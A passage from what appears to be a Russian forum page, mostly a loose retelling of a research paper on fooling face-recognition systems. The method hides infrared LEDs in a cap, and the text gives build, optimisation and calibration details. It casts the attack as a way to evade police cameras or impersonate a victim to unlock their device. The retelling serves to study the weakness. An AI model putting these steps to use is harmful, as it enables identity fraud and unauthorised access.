Это сканеры для проведения аудита по безопасности. Проще говоря они сканируют нужный вам IP на уязвимости. Они хорошо себя зарекомендовали, поэтому использовать все же их стоит.

Вывод

И так. В этой статье я попытался объяснить, почему все же не стоит палить свой IP в сети. На самом деле все легко и просто, но у многих возникали наверное проблемы с выявлением, поэтому эта статья поможет вам в этом. Ну а на этом все, удачи ;)
 

Атака на систему распознавания лиц​


Хорошо это или не очень, но в крупных городах практически не осталось мест, которые не попадали бы в полe зрения одной или нескольких камер - полицейские и городские камеры на улицах, частные системы видеонаблюдения в магазинах и кафе, регистраторы в автомобилях, камеры смартфонов. Зачастую, на нас одновременно нацелено сразу несколько объективов одновременно. Добавьте к этому алгоритмы распознавания лиц в социальных сетях и системы аналитики, наподобие созданной компанией Hitachi Kokusai Electric (способной распознавать 36 миллионов лиц в секунду) — получится, что почти каждый наш шаг записывается и анализируется. Что в свою очередь вызывает нарастающее недовольство отдельных граждан, обеспокоенных бесцеремонным вторжением в их личную жизнь. И как следствие - разработку различных методов, направленных на ввод в заблуждение этих систем.

Недавно китайские исследователи создали устройство, помогающее не только скрыть личность, но и выдать себя за другого человека.

В этой статье мы и рассмотрим, предложенный ими метод - пример этой, своего рода новой атаки против системы распознавания, которая реализуются путем освещения объекта с помощью инфракрасного света. Таким образом, сталкиваются алгоритмы системы распознавания в результате чего они могут быть обойдены или введены в заблуждение. При этом инфракрасные возмущения не могут наблюдаться невооруженным глазом и не видны для окружающих.
Благодаря запуску такого рода атаки, злоумышленник может не только уклоняться от камер наблюдения, но что самое главное - он может выдать себя за другого человека - свою целевую жертву, если у него имеется её фото. Напомню - атака полностью незаметна для находящихся по поблизости людей, потому, что не только свет невидим, но и само устройство для атаки достаточно маленького размера. Согласно проведенному исследованию на большом наборе данных, злоумышленники имеют очень высокую вероятность успеха - более 70%.

I. ВВЕДЕНИЕ

С развитием глубокого машинного обучения и шаблонов распознавания, технологии распознавание лица
стремительно развиваются, становятся все более и более работоспособным. Сегодня системы искусны настолько, что уже превосходят людей с точки зрения точности распознавания . Это позволяет их широкое внедрение в реальный мир, где различные приложения, такие как посещаемость, запись, авторизация, и даже пограничный осмотр проводятся без участия человека. Однако существуют
проблемы в реальном мире состязательного обучения. Несмотря на улучшение точности, существующие методы, на самом деле не так надежны, как ожидалось. Проведенные исследования показывают, что картинка, лишь с незначительными изменениями пикселей, может обмануть систему распознавания, выдавая один субъект за другой.
Такая атака, известна как состязательное обучение. Было обнаружено, что трудно защитить систему, если противник способен произвольно редактировать каждый пиксель на картинке. В действительности, он может в конечном итоге лишь ограничить контроль камеры, к которой не имеет прямого доступа, так как выполнять множество попыток нереально.
Для того, чтобы преодолеть разрыв между теоретическими результатами и результатами в реальном мире
были предприняты усилия на практическое состязательное обучение.
Недавние исследование показывают, что это возможно. Чтобы применить состязательные приемы может помочь стеклянная рамка с внесением изменений, сделанных вокруг глаз, так что один индивидуум может олицетворять другой во время аутентификации.
По аналогии, другое исследование сообщает о возможности стратегически возмущать изображения дорожных знаков, с использованием 3D печати или наклеек, чтобы ввести в заблуждение систему классификации, которая ограничена в скорости обработки.
Несмотря на первые шаги в этих исследованиях нападения они все еще мало применимы на практике. 3D печатные очки на сколько хороши, на столько и заметны, что может легко вызвать подозрения. Печатные знаки и наклейки работают только на простых целях.

Подобные методы могут применяться для создания реалистичного грима для обмана системы. Но, согласитесь, не каждый выйдет на улицу в таком виде:

00001.jpg



Поэтому вопрос как вызвать ошибки распознавания менее заметным способом остается открытым.

В этой статье мы рассмотрим подход, который позволяет применять автоматически идентифицированные, уникальные состязательные примеры человеческого лица, полностью невидимые для человеческого глаза. Вследствие чего злоумышленник замаскированный под другого человека сможет спокойно ходить по улице, без каких-либо заметных аномалий лица, но являясь при этом для камер наблюдения совершенно другим человеком.

Это достигается с помощью инфракрасного света (ИК), который не может быть виден человеческим глазом но по-прежнему может быть захвачен большинством уличных камер видеонаблюдения, и даже смартфон- камерами. Учитывая крошечные размеры ИК-светодиодов, мы покажем, что они могут быть легко встроены, например в кепку, а также могут быть скрыты в зонтик и возможно, даже волосы или парик. После включения устройства инфракрасные точки будут проецироваться на стратегические участки лица клиента, тонко изменяя черты его лица, вызывая ошибочную классификацию в системе. Это позволит атакующему избежать обнаружения или путем корректировки размеров и позиции опорных точек, олицетворять другого человека, при прохождении аутентификации.

Атака называется - IMA (invisible mask attack).
Для того, чтобы определить, как стратегически развернуть светодиоды и установить их параметры, мы будем искать состязательные примеры, которые подходят по форме, размеру, и цвету инфракрасных отпечатков которые эти устройства способны генерировать.
Для этой цели был разработан алгоритм, который ищет состязательные примеры для пары, в которой сочетание вызывает возмущение точек, освещенных инфракрасными светодиодами.
Кроме того было разработано устройство, которое состоит из трех инфракрасных светодиодов на козырьке обычной бейсболки, с которой злоумышленник может реализовать состязательные примеры для атаки системы в реальном мире. Для того, чтобы облегчить реализацию примеров решаемых данным алгоритмом был разработан калибровочный инструмент, с помощью которого злоумышленник может легко настроить светодиоды на головном уборе.
В эксперименте с данным алгоритмом и устройством была успешно запущена атака на систему распознавания. Шанс уклонения от идентификации превысил 70% .

Резюмируем наши исследования следующим образом:

- Инфракрасная подсветка на основе незаметного морфинга лица, способна скрытно изменить черты лица, чтобы избежать обнаружения или выдавать себя за другого человека. Наше исследование показывает, что это вполне возможно. Исследования позволили сделать важный шаг на пути к практическому состязательному обучению, показывая, что нападения на Системы FR( Face Recognition) действительно реалистичны.
- Разработан новый алгоритм поиска осуществимых состязательных примеров, в соответствии с
установленными ограничениями.
Светодиоды коммерчески доступны. Вы может найти их в свободной продаже. Кроме того, было показано, что такие атаки могут быть практически проведены путем размещения светодиодов вблизи лица и регулируя их яркость и позицию.
- Мы реализовали нападение на FaceNet популярной системы FR ( Face Recognition) и продемонстрировали эффективность наших методов против этой реальной системы. Кроме того было проведено детальное исследование на больших массивах данных LFW (Labeled Faces in the Wild) для демонстрации возможностей разработки состязательных примеров.

II. Вложение лица

Face embeddings (Вложение лица) - метод, который использует DNN (Deep Neural Network- Глубокая Нейронная Сеть), чтобы отобразить фотографию в векторе, что позволяет сравнить пару фотографий лица с помощью вычисления расстояния между их векторами, так как все они находятся в общем векторном пространстве. Вложение лица позволяет провести поиск лица, его аутентификацию и кластеризацию через пороговые расстояния между фотографиями, вычисляя ближайших соседей.
Самая известная система встраивания лица FaceNet, построенная Schroff в Google в 2015 году, которая достигла 99,63% точности на наборе данных LFW.

000002.jpg



Рисунок 1:. Кривая частоты отклика датчиков камеры.

Используя данную технику, проверка подлинности лица может быть выполнена следующим образом аутентификации :
Система в первую очередь берет фотографию пользователя в качестве входных данных, а затем
определяет лицо на фотографии, обрезает его и устанавливает, учитывая размер. Обрезанное изображение затем будет помещено на позицию глаз и губ по центру изображения и становится входом к лицу.
Вложение DNN и вектор затем могут быть сгенерированы и сохранены как профиль для пользователя.
Каждый раз, когда пользователи проверяются на аутентификацию система берет фотографию и проходит через вышеупомянутые шаги, чтобы создать вектор. Проводится сравнение между вектором и профилем затем рассчитывают не превышает ли сходство заранее определенного порогового значения. Пользователь проходит аутентификацию или терпит неудачу.
 
Инфракрасный свет имеет большую длину волны, чем видимый свет. Он может быть получен с помощью светодиодов. Есть два вида распространенных ИК-светодиодов доступных на рынке - 850nm и 940nm.
ИК излучаемый ими обоими не может непосредственно наблюдаться людьми, зато успешно может быть захвачен датчиками камеры.
Эти датчики подразделяются на три типа единиц: R, G и В, которые чувствительны к красному, зеленому и синему свету соответственно.
В то же время, они также могут обнаруживать и другой свет. В результате, датчики камеры наблюдения могут формировать изображение очень сильно отличающееся от того, что видят люди, если объект подвергался воздействию инфракрасного излучения.

Рис. 1 показывает чувствительность трех типов датчиков в зависимости от длины волны (изображения, получены от Quora). Как мы можем видеть, даже для голубого, который является самым дальним от инфракрасного диапазона (На 850nm для наших светодиодов) уровень чувствительности все еще остается значительным. В результате синий блок может быть запутан инфракрасным для синего света. Кроме того, красный блок берет и ошибки для зеленого элемента .

Состязательность примеров, намеренно разрабатывалась для машинного обучения моделей, в ожидании, что модель ошибется. Входы здесь называют состязательными.

Примечание: (Из-за сложности написания и форматирования математических символов прошу прощения, если где- то мною допущена ошибка – важен результат, а в нем сомневаться не приходится – китайцы считать умеют).

Хотя такой вход обычно генерируется путем добавления малого возмущения к законному входу, возмущение может быть рассчитано в соответствии с моделью, законного входа. Обычно градиентные оптимизаторы решаются уравнением (1) помогающим вычислить возмущение,
где F – модель обучения , X - законный вход, R - возмущение, Y – целевой выходной сигнал модели и J(-,-) это функция потерь в паре с моделью.

01.jpg



Если только оптимизатор обнаружит, потери ниже порогового значения, заданного для системы аутентификации, то атакующий может передать аутентификацию с возмущением.

III. Теория

Мы рассмотрим атакующие сценарии, которые могут произойти в нашей повседневной жизни.

Благодаря hi-tech устройствам, развернутым вокруг нас, наши города становятся более безопасными, чем когда-либо прежде. Давным-давно, поимка преступников была гораздо сложнее и требовала ручного труда. Для сравнения, на сегодняшний день, тысячи камер наблюдения установлены в городах и каждый шаг преступника может быть записан.
Более того, с увеличением вычислительной мощности, полиция может быстро найти преступников путем простого просмотра видеопотоков от камер наблюдения.
Тем не менее, преступник может легко уйти от наблюдения, если он понимает механизмы, лежащие в его основе, применив некоторые способы состязательного обучения .
В частности, предположим, что он знает, что полицейские охотятся за ним с помощью инструментов распознавания лица, а не вручную воспроизводя и исследовав каждый кадр, каждого видео, снятого камерами наблюдения, он должен только использовать состязательное обучение, чтобы обмануть модели DNN. Как следствие, на видео, он не будет распознан, что делает автоматический поиск бесполезным.
В то же время, преступник не хочет изменять себя слишком радикально, иначе люди вокруг него усилят подозрение и уделят больше внимания пока наконец не опознают его.
Предлагаемый метод предполагает крепление на кепке светодиодов размером с кнопку.

Методами аутентификации сегодня оборудованы все виды мобильных устройств и устройств безопасности, таких как смартфоны и ноутбуки, входные двери и даже наблюдение за жильцами.

Атака должна быть в режиме реального времени, так как обычно, у злоумышленника не так много времени, чтобы взломать проверку подлинности. Например, в библиотеке, студент просто хочет разблокировать чей то ноутбук и скопировать некоторые файлы в то время, как владелец идет в туалетную комнату. Атака также должна быть незаметной, иначе люди вокруг могут заметить атаку. Скрытность является более важным моментом, иначе сценарии, где аутентификация находится под ручным контролем, могут быть остановлены наблюдателями. Например, в электронных каналах пенсионной инспекции, где пользователи находятся под контролем должностных лиц.

В этой работе, в отличие от большинства предыдущих работ по состязательному обучению, мы рассмотрим атаки, которые могут быть реализованы на практике.
Важный показатель, что целостность систем и целевые устройства не будут нарушены во время атаки:
то есть, злоумышленник не имеет доступ к устройству, используемому для наблюдения или проверки подлинности. При этом предположении состязательные примеры, представленные в ранних атаках, где
требуется изменить входные данные на уровне точности пикселей, не могут быть
выполнены на практике , потому что такое изменение при входе ставит под угрозу целостность системы.

Осведомленность о модели FR предполагает, что её описание имеется в открытом доступе, поэтому злоумышленник может создать точно такую же модель. Предположим, что это происходит
потому что на практике разработчики приложений редко пользуются собственными моделями. Вместо этого они, как правило, непосредственно встраивают хорошо известные модели с заранее известными свойствами или покупают модели у специализированных компаний глубокого обучения.

Они не делают этого сами, потому что:
1) Разработчики приложений, как правило, не имеют большой набор данных, а без огромного количества
маркированных данных точность модели не может быть гарантирована;
2) Разработчики приложений, как правило, не располагают надлежащей глубиной
обучения фонов для обучения модели.

Уклонение

Предполагается, что у злоумышленника уже имеется по крайней мере, одна фотография своей
цели. Это может быть сделано, например, путем загрузки из социальной сети или скрытного фотографирования.

Потери признаков между векторами в попытках с уклонением и без уклонения должна быть больше, чем порог для классификации двух векторов в одной и той же личности, как показано уравнением (2),
где x - это фото злоумышленника,
(x + r) это фото злоумышленника с возмущением
th - вышеупомянутый порог.

J(f(x + r); f(x)) > th (2)

При проведении атаки, когда злоумышленник хочет выдать себя в качестве еще одного (конкретного) индивидуума, с возмущением рассчитывается путем состязательных алгоритмов обучения. При этом,
величина между запущенной атакой и её целью не должна превышать порог, как показано уравнением (3), гдеY это фото жертвы.

J(f(x + r); f(y ) < th (3)

Далее мы объясним, как атакующие уклоняются от наблюдения камеры, с помощью «невидимой маски» - нашего устройства, освещая лицо инфракрасными лучами.

Как это работает

Прежде чем объяснить, как атакующий уклоняется от наблюдения, мы представим, как сталкиваются поисковые алгоритмы.
- Видео для поиска должно быть сначала разделено на кадры, так, чтобы мог происходить поиск по изображениям.
- Каждое изображение сначала предварительно обрабатывается, чтобы извлечь только часть с лицом.
На этапе предварительной обработки изображения будут отправляться на маркировку, которая определяет набор признаков для каждого лица на изображении, как показано в уравнении (4).
- Для каждого набора опорных точек на маркированной картинке, лицо будет располагаться
и обрезаться в соответствии с положением опорных цветовых точек, для последующего использования.
- Каждая грань будет вводиться в модель вложения лица, что преобразует его в вектор фиксированной длины для последующего поиска
(Например, с использованием алгоритма k-NN).

04.jpg
 
Дизайн

Злоумышленник может увернуться от поиска лица либо маркировки модели или избежать моделей вложения. Это происходит при достаточным количестве инфракрасной подсветки на лице и предварительная обработка потерпит неудачу. В результате чего модель лица landmarking
не будет выводить набор допустимых опорных точек, как показано в уравнении (5).
Поэтому мы разработали устройство, которое может быть установлено на козырьке кепки, которое излучает достаточно инфракрасного света, чтобы провалить шаг предварительной обработки.

landmark predictor(x) = (5)

00005.jpg


Рис. 2: Кепка с закрепленным устройством.

Устройство

Устройство для уклонения состоит из кепки, нескольких светодиодов и аккумулятора. Светодиоды установлены на козырьке кепки - перед лицом атакующего. Каждый из светодиодов используется для создания помех определению зон опорных знаков. На Рис. 2 показано крепление нашего устройства.

Мощность.
Устройство питается от батареи 18650, как показано на рис. 3. Один аккумулятор 18650 может поддерживать светодиод не менее двух часов.

00006.jpg



Рис. 3: Батарея 18650 питания устройства атаки.

Источник света.
Каждый световой модуль в устройстве оснащен 850 nm 5W инфракрасным светодиодом как источником света (рис. 4).
940nm cветодиоды также могут быть использованы, но дают более темное освещение при том же заданном уровне энергопотребления.

00007.jpg



Рис. 4: Светодиод с объективом.
Как показал опыт - трех светодиодов достаточно, чтобы обречь шаг сбора land marking на провал.
Если атакующий находится при очень ярком освещении, например на солнце на открытом воздухе, он может
использовать более мощные светодиоды, а также подключить еще несколько светодиодов,

Невидимость
Устройство в целом незаметно, как показано на рис. 5.
Находящиеся рядом люди могут видеть только линзы, которые очень маленькие и почти прозрачные. Батарея и провода могут быть скрыты внутри кепки, но что более важно свет, излучаемый светодиодами полностью невидим для человеческого глаза.

00008.jpg



Рис. 5: Устройство для атаки почти незаметно.

Персонализация

В этом разделе мы подробно рассмотрим, как злоумышленник находит состязательный пример, который вводит в заблуждение модель вложения, используя только пару изображений. И,что еще более важно, как на практике реализовать такой состязательный пример.

Обзор

Предыдущие исследования, которые используют оптимизаторы, чтобы создавать возмущение
к этому сценарию не применимы.
В нашем исследовании мы сначала построим модель, которая описывает инфракрасные световые пятна на лицах. Затем, оптимизируем потери с добавлением пиксельных возмущений. Мы оптимизируем нанесенный ущерб регулируя световые пятна в соответствии с нашей моделью на атакующем фото. Каждое пятно воспроизводится с помощью модели данного набора макета параметров. Модели здесь форма возмущения.
А параметры макета определяют положение, силу и размер возмущения ИК.
В результате, после того, как оптимизация достигает максимума через манипулирование параметрами всех этих моделей, злоумышленник получает изображение, которое может быть признано, так как потери (то есть расстояние) между синтезированным изображением и фотографией жертвы сведено к минимуму. Синтезированное изображение после оптимизации не только состязательный пример, но и будет на практике реализовано противником с использованием инфракрасных светодиодов.
000006.jpg


Уравнение (6) описывает оптимизатор, где
m(.) является моделью для светового пятна, показанного на изображении, и
Ri это параметры макета для светового пятна
0006.jpg


которое после оптимизации является состязательным примером.
Учитывая состязательный пример, злоумышленник может настроить позиции светодиодов на его атакующем устройстве и используя световые пятна, генерируемые устройством инициировать
возмущение.
Калибровка инструмента, несколько раундов настройки и наконец, атака определяет положение устройства и злоумышленнику удается выдать себя за жертву.

Моделирование инфракрасного светового пятна

Как упоминалось ранее, инфракрасный свет, генерируемый ИК LED, хотя и не может наблюдаться человеком, производит фиолетовое световое пятно на лице, которое может быть захвачено датчиками камеры.
Мы моделируем такое световое пятно в соответствии с его положением на лице,
яркостью, размером, но не цветом и формой.
Форма световых пятен изменяется, так как светодиод может быть установлен под разными углами. Кроме того, лицо человека не являются плоским – воспроизвести пятна на лице и описать очень трудно. Чтобы упростить процесс оптимизации, мы используем круги, самые близкие формы к пятнам, чтобы эмулировать эффекты в ИК-освещении на лицах. При проверке распределения яркости светового пятна на лице, мы обнаружили, что она затухает от центра к его краям. Мы моделируем этот эффект, распределяя и ослабляя точки.

Цвет.

С цветом дела обстоят сложнеенее. Как упоминалось ранее, камеры могут ощутить инфракрасные лучи. Тем не менее чувствительность трех типов блоков в сторону инфракрасной области спектра разные. Синий блок является наиболее чувствительным , в то время как блок зеленого типа является наименее чувствительным. В результате, камера будет воспринимать инфракрасный, как светло-фиолетовый цвет, который представляет собой смесь большего количества синего света и менее - зеленый свет.
Чтобы узнать точное соотношение между этими тремя каналами, мы взяли две фотографии лица – с подсветкой и без инфракрасного светового пятна на лице соответственно. Затем мы проанализировали разницу между двумя изображениями на ИК-подсветку зон.значения яркости трех типов имеют отношение 0,0852, 0.0533 и 0,1521 соответственно. Таким образом, при генерации света, мы сохраняем отношение яркостей трех каналов для каждого пикселя на 0,0852: 0.0533: 0.1521.

Размер.
Размер светового пятна моделируется как стандарт отклонения нормального распределения. Чем больше стандарт отклонения, тем больше становится место. Стандартное отклонение здесь является параметром σ, который оптимизатор может корректировать.

Позиция.
Координаты центра светового пятна {px, py }
являются также входными параметрами оптимизатора.
Яркость.
Значения яркости различных точек на одно и то же лицо должно быть различным, что делается путем присвоения коэффициена усиления s для каждого пятна.

В целом, яркость пикселя складывается из суммы эффектов всех пятен, в то время как для каждого пятна, эффект определяется путем амплификации и расстояния от центра пятна до пикселя, который может быть вычислен путем ввода расстояния в функцию плотности вероятности нормального распределения (PDF), как
показано в уравнении (7). Таким образом, центр яркости, место, коэффициент усиления s и размер пятна будет противоположным со стандартным отклонением σ,
007.jpg



Синтезированное изображение

Как упоминалось ранее, каждое световое пятно имитирует эффект света от светодиода. Для того, чтобы получить изображение лица с эффектами всех светодиодов, мы накапливаем эффекты различных светодиодов вместе, и применяем результат к исходному изображению (фото).
8-9.jpg



Уравнение (8) показывает, как синтезируют изображение. Li здесь эффект, произведенный одним светодиодом для изображения путем расчета яркости для каждого пикселя, как показано уравнением (9).
Функция coloring(·) превращает полутоновое изображение в фиолетовый с использованием фиксированного соотношения между RGB, усиливает эффекты, а также добавляет к оптимизации список переменных. Следует также обратить внимание, что amp здесь устанавливает силу
возмущения, в то время как s делает яркость пятен неравномерной.
 
Оптимизатор

Выберем оптимизатор для нахождения состязательного примера. Целевой функцией является потеря между художественным вектором синтезированного изображения и на фото его жертвы, как показано на рисунке
с помощью уравнения (10). Списки переменных оптимизации включают
amp четыре вышеупомянутых параметра для каждого светового пятна,

10.jpg


Запустив оптимизатор со своим фото Iatk и фото жертвы Ivtm, злоумышленник получает минимальные потери между ними. Если только потеря не больше, чем порог распознавания, Isyn становится состязательным примером. Параметры, дающие минимальные потери помогает атакующему реализовать пример.

Осуществление
Приобретение состязательного примера является первым шагом в направлении успеха атаки. Злоумышленник также нуждается в устройстве для реализации состязательного примера. Светлое пятно имеет три типа параметров, которые все должны быть регулируемыми. Для этого мы усилили устройство уклонения со схемой PWM несколькими сменными объективами, для регулировки яркости и размера соответственно. После мы опишем, как мы применили устройство для поддержки данного примера.

Позиции.
(px, py ) описывает положение светового пятна, которое можно регулировать, выбирая различные позиции монтажа и углы для светодиодов. После того, как злоумышленник найдет правильное положение, он может закрепить их липкой лентой или клеем.

Яркость.
Яркость светового пятна регулируется через недавно представленную PWM -схему. Это происходит потому, что входное напряжение светодиода не может быть уменьшено, чтобы уменьшить яркость лампы. Вместо этого, яркость должна быть снижена за счет уменьшения времени работы источника питания. В частности, схема PWM включает и выключает светодиод на очень высокой частоте, скажем, 10 кГц. Таким образом, яркостью можно управлять с помощью соотношения между временными интервалами (0,1 мс)
во включенном состоянии и выключенном состоянии (скажем, 0.02ms и 0.08ms для более 0,1 мс). На Рис. 6 показана схема PWM, которую мы используем в нашем эксперименте.

000011.jpg



Рис. 6: Схема PWM для уменьшения яркости светодиода.

Размер.
Размер светового пятна можно регулировать за счет использования различных видов линз, каждая из которых имеет разный угол что приводит к различному радиусу светового пятна. С таким же углом и расстоянием между светодиодом и кожей злоумышленника, объектив с более широким углом делает пятно больше с меньшим количеством яркости, в то время как более узкий дает меньший, но более яркий свет.
На рис. 7 показано какие линзы мы использовали в нашем эксперименте.

00012.jpg



Рис. 7: Три различных вида линз, которые могут быть использованы для регулировки размера светового пятна.

Калибровка
Злоумышленник может использовать интерактивный инструмент калибровки, чтобы сделать световые пятна ближе к отработанному состязательному примеру. Тренируясь атакующий может настроить положение, силу и размер каждого светового пятна рабочего инструмента следующим образом:

1) Атакующий грубо регулирует положение светодиодов и выбирает подходящие линзы в соответствии с состязательным примером разработанным оптимизатором для его целевой жертвы.
2) Затем он сидит перед компьютером и запускает инструмент с состязательным примером, в качестве входных данных. Инструмент спрашивает злоумышленника, чтобы отключить все светодиоды и фотографирует (Обозначив как Iof f ) для нападающего.
3) Инструмент просит атакующего включить светодиоды и принимает фото (Ion) для нападающего.
4) Обе фотографии выравниваются препроцессором лица влево. Инструмент затем вычисляет разницу между этими двумя фотографиями i.e.Idif f = Ion − Iof f .
5) Инструмент синтезирует каждое световое пятно в соответствии с параметрами состязательного примера. Затем он свертывает каждое пятно на Idif f вокруг теоретического центра. Поэтому место, где появляется максимальное значение свертки является фактическим центром светового пятна на Idif f . Следовательно, фактический центр по Ion. Инструмент сравнивает центр на Ion и его теоретическое место, чтобы знать каково смещение и выявляет атакующее направление от центра де-факто к теоретическому центру (направление смещения). Инструмент вычисляет среднюю яркость каждого светового пятна и делит его на среднюю яркость. Значение затем сравнивается с теоретическое значением, чтобы понять - это место слишком яркое или слишком тусклое. Инструмент производит вычисления вокруг центра светового пятна зная, где яркость снижается. Это значение определяет размер пятна. Также значение теоретического размера к увиденному, если световое пятно слишком велико или слишком мало.
6) Атакующий регулирует позиции, яркость и размеры светодиодов в соответствии с информацией, предоставленной инструментом. Инструмент показывает расхождения в реальном времени. Таким образом, злоумышленник может откалибровать инструмент.
7) Если калибровка не удовлетворяет требованиям инструмент обновляется и процесс повторяется еще раз.

Точная настройка
После того, как закончена калибровка злоумышленник подстраивает некоторые пятна, чтобы достигнуть меньших потерь, регулируя светодиоды вдоль направления в сторону уменьшения потерь, с обратной связью потерь в режиме реального времени. Этот шаг может еще больше повысить уровень успеха.
Оценка

Таблица 1) показывает исследование рисков нападения.
11.jpg



Платформа, которую использовали для запуска атак.

Таблица 2) Среда, используемая для оценки.

12.jpg



Для FaceNet модели, квадрат расстояния L2 следует использовать для взвешивания расстояния
между двумя характерными векторами, порожденными их моделью. А также пороговые значения для набора данных LFW, с помощью которого они получили отличную точность 99,63%. Мы принимаем порог
1,242, который был использован в большинстве случаев по данным LFW. Поэтому, когда пара граней имеет расстояние ниже порогового, они будут распознаны как один и тот же человек,
в противном случае два различных физических лица.

111.jpg



Мы не набирали большое количество добровольцев для участия в наших экспериментах, потому что не можем позволить себе возможные медицинские риски, в результате облучения ИК. В частности, мы примерно рассчитали максимальную мощность излучения наших светодиодов.
уравнением. (11),
Результат оценки составляет около 2100 w/m2, что на 50% больше, чем солнечный свет (1413 w/m2).
Мы знаем, что если смотреть на солнце в течение продолжительного периода можно пострадать от солнечных ожогов, подозреваем, что ИК-светодиоды могут иметь аналогичные последствия. Поэтому мы делали только несколько попыток исследования при реализации состязательных примеров с помощью нашего устройство. Кроме того, в ходе экспериментов, экспериментатор имел возможность отдохнуть через каждые 5 минут экспозиции в ИК и охладиться 1 минуту.
 
Назад
Верх